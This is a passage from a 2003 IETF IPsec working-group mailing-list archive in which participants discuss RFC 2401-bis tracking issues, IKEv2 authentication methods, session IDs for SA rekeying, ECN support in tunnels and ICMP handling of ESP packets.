should be addressed together as part of the new IPsec processing model, which is still being discussed. Later next week, we will send out a revised version of the write up on the processing model with updates reflecting feedback/conclusions to date. This will cover the following items: 40 Interface SPD selector vs per-interface SPD 44 Forwarding table lookup to select virtual interface ID 45 Use of cache with de-correlated SPD 46 No need for iterated processing 3. In addition to the items in the tracking system, there are a number of other issues that have come up during the past months. Over the next couple of weeks, we will be sending out descriptions of these issues for group review/discussion. Have a good weekend! Karen From owner-ipsec@lists.tislabs.com Sat Aug 23 22:02:18 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7O52Hqt072068; Sat, 23 Aug 2003 22:02:17 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA10157 Sun, 24 Aug 2003 00:11:36 -0400 (EDT) Mime-Version: 1.0 X-Sender: kseo@po2.bbn.com Message-Id: In-Reply-To: <200308231725.h7NHPYcJ028122@coredump.cs.columbia.edu> References: <200308231725.h7NHPYcJ028122@coredump.cs.columbia.edu> Date: Sat, 23 Aug 2003 23:56:21 -0400 To: "Angelos D. Keromytis" From: Karen Seo Subject: Re: Moving forward on RFC 2401-bis Cc: Barbara Fraser , "Theodore Ts'o" , ipsec@lists.tislabs.com, kivinen@ssh.fi, Russ Housley Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Angelos, >Karen, great. One nit: none of the items are "resolved" as such. They need to >be discussed on the list first. (That's because, unlike the issues in the IKE >draft, these are architectural changes that have not been previously >discussed.) Sorry for not being clear. What I was trying to say is that we "believe" they've been resolved (because they've been discussed on the list and a consensus appeared to have been reached) and that we'll circulate descriptions of each issue. I was assuming that when these were distributed to the list, folks would get a chance to look at the writeups and assess them, presumably with the opportunity to change things etc. Karen >Cheers, >-Angelos > >In message , Karen Seo writes: >>Folks, >> >>Just an update... We've reviewed the 9 items on the IPsec tracking >>list for 2401: >> >>1. We believe the following 5 items have been resolved. At the >>beginning of next week, we will send out individual writeups for the >>following items: >> 47 All selectors can be a list of ranges, per IKEv2 spec >> 48 Add ToS traffic selector option >> 49 Red-side fragmentation option >> 50 Tunnel vs transport mode >> 57 ECN support >> >>2. Four of the items are inter-related and should be addressed >>together as part of the new IPsec processing model, which is still >>being discussed. Later next week, we will send out a revised version >>of the write up on the processing model with updates reflecting >>feedback/conclusions to date. This will cover the following items: >> 40 Interface SPD selector vs per-interface SPD >> 44 Forwarding table lookup to select virtual interface ID >> 45 Use of cache with de-correlated SPD >> 46 No need for iterated processing >> >>3. In addition to the items in the tracking system, there are a >>number of other issues that have come up during the past months. >>Over the next couple of weeks, we will be sending out descriptions of >>these issues for group review/discussion. >> >>Have a good weekend! >>Karen >> From owner-ipsec@lists.tislabs.com Sun Aug 24 01:46:07 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7O8k6qt005020; Sun, 24 Aug 2003 01:46:06 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id EAA24680 Sun, 24 Aug 2003 04:00:28 -0400 (EDT) Message-Id: <200308231725.h7NHPYcJ028122@coredump.cs.columbia.edu> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Karen Seo Cc: Barbara Fraser , "Theodore Ts'o" , ipsec@lists.tislabs.com, kivinen@ssh.fi, Russ Housley Subject: Re: Moving forward on RFC 2401-bis In-reply-to: Your message of "Fri, 22 Aug 2003 18:57:23 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 23 Aug 2003 13:25:34 -0400 From: "Angelos D. Keromytis" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Karen, great. One nit: none of the items are "resolved" as such. They need to be discussed on the list first. (That's because, unlike the issues in the IKE draft, these are architectural changes that have not been previously discussed.) Cheers, -Angelos In message , Karen Seo writes: >Folks, > >Just an update... We've reviewed the 9 items on the IPsec tracking >list for 2401: > >1. We believe the following 5 items have been resolved. At the >beginning of next week, we will send out individual writeups for the >following items: > 47 All selectors can be a list of ranges, per IKEv2 spec > 48 Add ToS traffic selector option > 49 Red-side fragmentation option > 50 Tunnel vs transport mode > 57 ECN support > >2. Four of the items are inter-related and should be addressed >together as part of the new IPsec processing model, which is still >being discussed. Later next week, we will send out a revised version >of the write up on the processing model with updates reflecting >feedback/conclusions to date. This will cover the following items: > 40 Interface SPD selector vs per-interface SPD > 44 Forwarding table lookup to select virtual interface ID > 45 Use of cache with de-correlated SPD > 46 No need for iterated processing > >3. In addition to the items in the tracking system, there are a >number of other issues that have come up during the past months. >Over the next couple of weeks, we will be sending out descriptions of >these issues for group review/discussion. > >Have a good weekend! >Karen > From owner-ipsec@lists.tislabs.com Sun Aug 24 07:55:16 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7OEtFqt037729; Sun, 24 Aug 2003 07:55:15 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA16928 Sun, 24 Aug 2003 10:13:10 -0400 (EDT) Date: Sun, 24 Aug 2003 10:32:09 +0300 Subject: Re: The remaining IKEv2 issues Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: Paul Hoffman / VPNC , ipsec@lists.tislabs.com To: Uri Blumenthal From: Yoav Nir In-Reply-To: <3F452753.6020600@lucent.com> Message-Id: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Uri, Re: XAUTH. There was nothing particularly wrong with XAUTH. The fiasco is that the original IKE proved to be unusable in the remote-access scenario, because customers demanded authentication using RADIUS servers, OS passwords and SecurID tokens. This led vendors like Cisco and Check Point to develop XAUTH which is not quite standard, so that remote-access becomes useable. With IKEv2, we want to avoid making it necessary to develop such an add-on. Re: not using kg methods. SecurID belongs to a certain vendor, and they can create a kg method that suits them. In fact, they have, but they won't publish the spec, so I can't implement it. I could install their add-on (not yet available) on the client, and then the gateway only needs to channel the EAP messages between SecurID server and IKE client. However, if we do that, we lose all the advantages of having a kg method, because the gateway does not know the shared secret. Of course, you could implement something like you do in 802.1x where the server sends the shared secret to the gateway, but that's bad ( a shared secret isn't ). Now let's take another example. A customer keeps all his username/passwords on the mainframe, because that's the only computer they trust. The only access our IKE gateway has to the mainframe is running something called a RACINIT, that allows you to pass the username and the password, and get a yes/no response. How can we get this to work, if the gateway never knows what the password is? Even MD5-Challenge won't work here. Passing the password "in the clear" through GTC is the only way to go here. Now if we could come up with some method that generates keys and passes the password from the client to the gateway, we'd have a solution, but here we can't use challenge-response as in MD5-Challenge or MSCHAPv2. On Thursday, August 21, 2003, at 11:10 PM, Uri Blumenthal wrote: > On 8/21/2003 3:04 PM, Paul Hoffman / VPNC wrote: >>> If we are expecting that people are going to implement these methods >>> and >>> customer are going to make use of these methods, I would much rather >>> see >>> a standards-based way of doing so, and have this method be tested at >>> bakeoffs. >> >> Fully agree......... >> Saying "'MUST NOT' or 'SHOULD NOT' do the things >> that your customers are demanding" is a really good way to cripple >> IKEv2 deployment. > > Well yes, I agree too. What I don't understand if why we > cannot create kg methods using the same credentials? It > seems to be the only way to satisfy both the customers > who need to use devices like SecureID (hey, I'm one > of those), and the security requirements. > >> One of the main goals of IKEv2 was to avoid re-creating >> the XAUTH fiasco. > > Please educate me - I didn't keep track of XAUTH. Why did > it fail? What was wrong with it? > > Thanks! > > From owner-ipsec@lists.tislabs.com Sun Aug 24 19:59:55 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7P2xsqt071410; Sun, 24 Aug 2003 19:59:54 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id VAA24135 Sun, 24 Aug 2003 21:12:34 -0400 (EDT) Message-Id: <200308241604.h7OG4HcJ025718@coredump.cs.columbia.edu> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Karen Seo Cc: Barbara Fraser , "Theodore Ts'o" , ipsec@lists.tislabs.com, kivinen@ssh.fi, Russ Housley Subject: Re: Moving forward on RFC 2401-bis In-reply-to: Your message of "Sat, 23 Aug 2003 23:56:21 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 24 Aug 2003 12:04:17 -0400 From: "Angelos D. Keromytis" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Great, we're in agreement. -Angelos In message , Karen Seo writes: >Angelos, > >>Karen, great. One nit: none of the items are "resolved" as such. They need to >>be discussed on the list first. (That's because, unlike the issues in the IKE >>draft, these are architectural changes that have not been previously >>discussed.) > > Sorry for not being clear. What I was trying to say is > that we "believe" they've been resolved (because they've > been discussed on the list and a consensus appeared to have > been reached) and that we'll circulate descriptions of each > issue. I was assuming that when these were distributed to > the list, folks would get a chance to look at the writeups > and assess them, presumably with the opportunity to change > things etc. > >Karen > >>Cheers, >>-Angelos >> >>In message , Karen Seo writes: >>>Folks, >>> >>>Just an update... We've reviewed the 9 items on the IPsec tracking >>>list for 2401: >>> >>>1. We believe the following 5 items have been resolved. At the >>>beginning of next week, we will send out individual writeups for the >>>following items: >>> 47 All selectors can be a list of ranges, per IKEv2 spec >>> 48 Add ToS traffic selector option >>> 49 Red-side fragmentation option >>> 50 Tunnel vs transport mode >>> 57 ECN support >>> >>>2. Four of the items are inter-related and should be addressed >>>together as part of the new IPsec processing model, which is still >>>being discussed. Later next week, we will send out a revised version >>>of the write up on the processing model with updates reflecting >>>feedback/conclusions to date. This will cover the following items: >>> 40 Interface SPD selector vs per-interface SPD >>> 44 Forwarding table lookup to select virtual interface ID >>> 45 Use of cache with de-correlated SPD >>> 46 No need for iterated processing >>> >>>3. In addition to the items in the tracking system, there are a >>>number of other issues that have come up during the past months. >>>Over the next couple of weeks, we will be sending out descriptions of >>>these issues for group review/discussion. >>> >>>Have a good weekend! >>>Karen >>> From owner-ipsec@lists.tislabs.com Mon Aug 25 07:22:27 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7PEMQqt043603; Mon, 25 Aug 2003 07:22:27 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA10035 Mon, 25 Aug 2003 09:11:53 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <20030822153949.GY1319@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> <20030820035520.GC19235@binky.central.sun.com> <20030822153949.GY1319@binky.central.sun.com> Date: Mon, 25 Aug 2003 08:39:36 -0400 To: Nicolas Williams From: Stephen Kent Subject: Re: IKEv2 SA rekeying - naming an initial SA Cc: Michael Richardson , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 8:39 -0700 8/22/03, Nicolas Williams wrote: >On Fri, Aug 22, 2003 at 09:12:28AM -0400, Stephen Kent wrote: >> what part of "no" do you find puzzling :-) > >I didn't insist - I merely pointed out something I thought was ironic. > >At least you appear to have some sense of humor :) I try. >BTW, this "no" was to "anon IPsec." I'd still like a session ID bound >to initial IKE_SA KEs - please don't ignore this. right. >If there will never be anon IPsec then the AUTH values will do - but I'd >like to not discount the possibility that there might be an anon IPsec >formulation in the future. Any admin managing an IPsec environment has the ability to issue credentials that are effectively anonymous, and that allows the effect of anonymous use of IPsec, in a given context. Unless the WG changes direction in a significant way, to support unauthenticated IPsec, then it would be inappropriate to use the possibility of this change as an input in deciding on how to make a decision re this IKE v2 authentication issue. Steve From owner-ipsec@lists.tislabs.com Mon Aug 25 11:48:49 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7PImmgc064233; Mon, 25 Aug 2003 11:48:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA03612 Mon, 25 Aug 2003 14:00:39 -0400 (EDT) X-Authentication-Warning: amme.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16202.20597.251921.660731@amme.hel.fi.ssh.com> Date: Mon, 25 Aug 2003 21:07:49 +0300 From: Tero Kivinen To: Charlie_Kaufman@notesdev.ibm.com CC: ipsec@lists.tislabs.com Subject: ECN and issue 58 X-Mailer: VM 7.04 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 3 min X-Total-Time: 2 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The issue 58 is marked closed, but the section 2.24 is still there in the draft-ietf-ipsec-ikev2-10.txt. I think we should remove the first paragraph of the section, and simply say that we will do ECN as specified in the RFC@401bis. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Mon Aug 25 17:16:53 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7Q0Gqgc078145; Mon, 25 Aug 2003 17:16:52 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA00349 Mon, 25 Aug 2003 18:42:53 -0400 (EDT) Date: Mon, 25 Aug 2003 15:42:50 -0700 From: Nicolas Williams To: Stephen Kent Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030825224250.GI1319@binky.central.sun.com> References: <9959.1061249453@marajade.sandelman.ottawa.on.ca> <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> <20030820035520.GC19235@binky.central.sun.com> <20030822153949.GY1319@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Mon, Aug 25, 2003 at 08:39:36AM -0400, Stephen Kent wrote: > At 8:39 -0700 8/22/03, Nicolas Williams wrote: > >If there will never be anon IPsec then the AUTH values will do - but I'd > >like to not discount the possibility that there might be an anon IPsec > >formulation in the future. > > Any admin managing an IPsec environment has the ability to issue > credentials that are effectively anonymous, and that allows the > effect of anonymous use of IPsec, in a given context. Unless the WG > changes direction in a significant way, to support unauthenticated > IPsec, then it would be inappropriate to use the possibility of this > change as an input in deciding on how to make a decision re this IKE > v2 authentication issue. Sure, but this does not dispose of the issue - you're merely rejecting one rationale for specifying a "session ID" as anything other than the AUTH values. But then, if the WG ignores the session ID issue we can default to using the AUTH values as such, since they are bound to the KE. Between each IKE_SA rekey being bound to the previous IKE_SA's KE and the AUTH values I think we have enough to specify how to use th GSS CCM mechanism with IKEv2 and the IPSEC interfaces requirements. Nico -- From owner-ipsec@lists.tislabs.com Mon Aug 25 18:30:22 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7Q1ULgc080316; Mon, 25 Aug 2003 18:30:21 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA07807 Mon, 25 Aug 2003 20:07:07 -0400 (EDT) From: Black_David@emc.com Message-ID: To: kivinen@ssh.fi Cc: ipsec@lists.tislabs.com Subject: RE: ECN and issue 58 Date: Mon, 25 Aug 2003 20:14:01 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Tero, > The issue 58 is marked closed, but the section 2.24 is still there in > the draft-ietf-ipsec-ikev2-10.txt. I think we should remove the first > paragraph of the section, and simply say that we will do ECN as > specified in the RFC2401bis. I'm a little uncomfortable with the wholesale removal of design explanation/rationale that would result. As an alternative, would it be ok w/you if I whacked that first paragraph down to a fraction of its size (and took out some of the details) to focus on the important point (RFC2401bis encapsulation changes are "MUST use" in order to avoid breaking ECN)? Thanks, --David ---------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 176 South St., Hopkinton, MA 01748 +1 (508) 293-7953 FAX: +1 (508) 293-7786 black_david@emc.com Mobile: +1 (978) 394-7754 ---------------------------------------------------- From owner-ipsec@lists.tislabs.com Mon Aug 25 18:57:11 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7Q1vAgc080986; Mon, 25 Aug 2003 18:57:10 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA10717 Mon, 25 Aug 2003 20:39:54 -0400 (EDT) From: Mukesh.Gupta@nokia.com X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: ICMP Parameter Problem Message. Date: Mon, 25 Aug 2003 19:44:37 -0500 Message-ID: <8D260779A766FB4A9C1739A476F84FA42ABD77@daebe009.americas.nokia.com> Thread-Topic: ECN and issue 58 Thread-Index: AcNrOtpg76dAXlDATUiHRdy5/rOREgAK2w2w To: X-OriginalArrivalTime: 26 Aug 2003 00:44:37.0674 (UTC) FILETIME=[3A16A0A0:01C36B6B] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.tislabs.com id UAA10547 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, Let say a gateway has a loadable ipsec module and it loads it only when it has a IPsec policy configured. This gateway receives an IPv6 ESP packet. As the IPsec module is not loaded, the IPv6 stack doesn't recongnize the next header type ESP and reply with ICMP Parameter Problem (unrecognized next header type). The question is: should this ICMP message be sent in this case or should the ESP packet be dropped silently ? because the gateway does recognize next header type ESP. regards Mukesh From owner-ipsec@lists.tislabs.com Mon Aug 25 22:32:58 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7Q5Wwgc087872; Mon, 25 Aug 2003 22:32:58 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA01180 Tue, 26 Aug 2003 00:06:01 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: Re: ICMP Parameter Problem Message. In-reply-to: Your message of "Mon, 25 Aug 2003 19:44:37 CDT." <8D260779A766FB4A9C1739A476F84FA42ABD77@daebe009.americas.nokia.com> Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Mon, 25 Aug 2003 23:55:32 -0400 Message-ID: <28964.1061870132@marajade.sandelman.ottawa.on.ca> From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Mukesh" == Mukesh Gupta writes: Mukesh> Let say a gateway has a loadable ipsec module and it loads it Mukesh> only when it has a IPsec policy configured. This gateway receives Mukesh> an IPv6 ESP packet. As the IPsec module is not loaded, the IPv6 Mukesh> stack doesn't recongnize the next header type ESP and reply with Mukesh> ICMP Parameter Problem (unrecognized next header type). Mukesh> The question is: Mukesh> should this ICMP message be sent in this case or should the ESP Mukesh> packet be dropped silently ? Mukesh> because the gateway does recognize next header type ESP. Assuming that the module was loaded, an ICMP SPI unknown might be sent by some implementations. Most drop it. So, what is the concern exactly? ] Out and about in Ottawa. hmmm... beer. | firewalls [ ] Michael Richardson, Sandelman Software Works, Ottawa, ON |net architect[ ] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[ ] panic("Just another Debian/notebook using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys - custom hacks make this fully PGP2 compat iQCVAwUBP0raM4qHRg3pndX9AQEOLAP+PoMAMQZ3nzFxqrozOO9+rnin4YVeCqfF BQB6EFXFkchmuMSze2+1MzP4nMcJCMy0oo+iE0E9xv27MnkKpNn94K2fQzmzcs7A 4OxdohkdbVXyGZ7LKLTdZgmxjNlNAsD9M7Jc+HDgywzEoBSck3A8KP0LpsrmQ6tP wkw88KhvYN8= =WA/s -----END PGP SIGNATURE----- From owner-ipsec@lists.tislabs.com Mon Aug 25 22:32:58 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7Q5Wwgc087871; Mon, 25 Aug 2003 22:32:58 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id AAA01496 Tue, 26 Aug 2003 00:11:03 -0400 (EDT) Mime-Version: 1.0 X-Sender: kseo@po2.bbn.com Message-Id: Date: Mon, 25 Aug 2003 23:13:17 -0400 To: ipsec@lists.tislabs.com From: Karen Seo Subject: IPsec issue #47 -- selectors can be a list of ranges Cc: "Angelos D. Keromytis" , kivinen@ssh.fi, kseo@bbn.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Folks, Here's a description and proposed approach for: IPsec Issue #: 47 Title: All selectors can be a list of ranges, per IKEv2 spec Description: A list of ranges is now supported by IKEv2 for all non-symbolic selector types. The IPsec architecture document needs to be brought into alignment with IKEv2. Proposed approach: 1. Update selector section to indicate that: "For all non-symbolic selector types, selector values may be a a single value, a list of values, a range, a list of ranges, or any combination of these." 2. Add text about the SPD along the lines of: The SPD contains an ordered list of policy entries. Each policy entry is keyed by one or more selectors that define the set of IP traffic to which this policy entry applies. (The required selector types are defined in Section x.x.x.) The SPD MUST permit a security administrator to specify the values for each non-symbolic selector type to be specified as a list of ranges. In this fashion one may represent an individual value (a list consisting of one entry which represents a trivial range), an enumerated list of individual values, a single range entry, a list or ranges, or any combination of these. This will enable policies to be specified that, for example, support use of a single SA to carry traffic for multiple protocols. Note that this text describes the representation in the SPD that maps into IKE payloads. The management GUI can offer the user other forms of data entry and display, e.g., the option of using address masks as well as ranges not representable by a mask, and symbolic names for protocols, ports, etc. (Do not confuse the use of symbolic names in a management interface with the reference to symbolic SPD selector types.) If the reserved, symbolic selector value OPAQUE is employed for a given selector type, only it may appear in the list for that type, and it must appear only once in the list for that type. Open Question for the WG: a. How many values per SPD selector type entry should an implementation support? Thank you, Karen From owner-ipsec@lists.tislabs.com Tue Aug 26 12:16:20 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7QJGKgc080605; Tue, 26 Aug 2003 12:16:20 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA12155 Tue, 26 Aug 2003 14:31:05 -0400 (EDT) Mime-Version: 1.0 X-Sender: kseo@po2.bbn.com Message-Id: Date: Tue, 26 Aug 2003 14:39:41 -0400 To: ipsec@lists.tislabs.com From: Karen Seo Subject: IPsec issue #57 -- ECN support Cc: "Angelos D. Keromytis" , kivinen@ssh.fi, kseo@bbn.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Folks, Here's a description and proposed approach for: IPsec Issue #: 57 Title: ECN support Description: Any use of IKEv2 to negotiate a tunnel-mode SA (or UDP-encapsulated tunnel-mode SA for NAT traversal) MUST carry an implied promise that ECN (Explicit Congestion Notification) will be supported and handled correctly for that tunnel. Therefore, IPsec implementations that support IKEv2 MUST implement changes to tunnel decapsulation that prevent discarding of ECN congestion indications. Proposed approach: 1. Modify Sections 5.1.2.1 (IPv4 -- Header Construction for Tunnel Mode) and 5.1.2.2 (IPv6 -- Header Construction for Tunnel Mode) of RFC 2401, to be consistent with David Black's ID "IKEv2: ECN Requirements for IPsec Tunnels". (When 2401bis is issued, it will supercede this ID.) <-- How Outer Hdr Relates to Inner Hdr --> Outer Hdr at Inner Hdr at IPv4 Encapsulator Decapsulator Header fields: -------------------- ------------ DS Field copied from inner hdr (5) no change ECN Field copied from inner hdr constructed (7) IPv6 Header fields: DS Field copied from inner hdr (6) no change ECN Field copied from inner hdr constructed (7) (5)(6) If the packet will immediately enter a domain for which the DSCP value in the outer header is not appropriate, that value MUST be mapped to an appropriate value for the domain [RFC 2474]. See [RFC 2475] for further information. (7) If the ECN field in the inner header is set to ECT(0) or ECT(1) and the ECN field in the outer header is set to CE, then set the ECN field in the inner header to CE, otherwise make no change to the ECN field in the inner header. Thank you, Karen From owner-ipsec@lists.tislabs.com Wed Aug 27 13:25:41 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7RKPegc083892; Wed, 27 Aug 2003 13:25:40 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA17854 Wed, 27 Aug 2003 15:26:09 -0400 (EDT) Date: Wed, 27 Aug 2003 12:24:46 -0700 From: Nicolas Williams To: Stephen Kent Cc: Michael Richardson , ipsec@lists.tislabs.com Subject: Re: IKEv2 SA rekeying - naming an initial SA Message-ID: <20030827192446.GP1319@binky.central.sun.com> References: <20030819051220.GL27057@binky.central.sun.com> <20030820032523.GK27057@binky.central.sun.com> <20030820035520.GC19235@binky.central.sun.com> <20030822153949.GY1319@binky.central.sun.com> <20030825224250.GI1319@binky.central.sun.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Wed, Aug 27, 2003 at 03:10:39PM -0400, Stephen Kent wrote: > At 15:42 -0700 8/25/03, Nicolas Williams wrote: > >On Mon, Aug 25, 2003 at 08:39:36AM -0400, Stephen Kent wrote: > >> At 8:39 -0700 8/22/03, Nicolas Williams wrote: > >> >If there will never be anon IPsec then the AUTH values will do - but I'd > >> >like to not discount the possibility that there might be an anon IPsec > >> >formulation in the future. > >> > >> Any admin managing an IPsec environment has the ability to issue > >> credentials that are effectively anonymous, and that allows the > >> effect of anonymous use of IPsec, in a given context. Unless the WG > >> changes direction in a significant way, to support unauthenticated > >> IPsec, then it would be inappropriate to use the possibility of this > >> change as an input in deciding on how to make a decision re this IKE > >> v2 authentication issue. > > > >Sure, but this does not dispose of the issue - you're merely rejecting > >one rationale for specifying a "session ID" as anything other than the > >AUTH values. But then, if the WG ignores the session ID issue we can > >default to using the AUTH values as such, since they are bound to the > >KE. > > I'm rejecting an argument for why we should change the specs to > accommodate a function that we can already provide, irrespective of > the discussion about session IDs. I'll wait a bit for answers from other participants. If there are none I will go ahead and use the AUTH values as the session ID to bind GSS-API contexts to. I would rather see a session ID defined that is bound to the KE but not to the authentication. Cheers, Nico -- From owner-ipsec@lists.tislabs.com Wed Aug 27 13:59:30 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7RKxUgc085096; Wed, 27 Aug 2003 13:59:30 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA12914 Wed, 27 Aug 2003 14:47:08 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F4CF5C2.7070704@lucent.com> References: <11F4181E-D605-11D7-8A52-000A95834BAA@checkpoint.com> <3F4CF5C2.7070704@lucent.com> Date: Wed, 27 Aug 2003 14:51:44 -0400 To: Uri Blumenthal From: Stephen Kent Subject: Re: The remaining IKEv2 issues Cc: Yoav Nir , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 14:17 -0400 8/27/03, Uri Blumenthal wrote: >On 8/24/2003 3:32 AM, Yoav Nir wrote: >> Hi Uri, > >Hi, and thanks for your response. > >> Re: not using kg methods. SecurID belongs to a certain vendor, and >> they can create a kg method that suits them. In fact, they have, but >> they won't publish the spec, so I can't implement it. > >Yes, but what I had in mind is - at the very worst we can mix the >data from the exchange into the key generation mechanism input. > >Would it not make sense? We have managed to cleanly separate the key generation function from the authentication function in IKE v2 and I think it would be preferable to keep them separate. Steve From owner-ipsec@lists.tislabs.com Wed Aug 27 14:18:45 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7RLIggc086138; Wed, 27 Aug 2003 14:18:44 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id 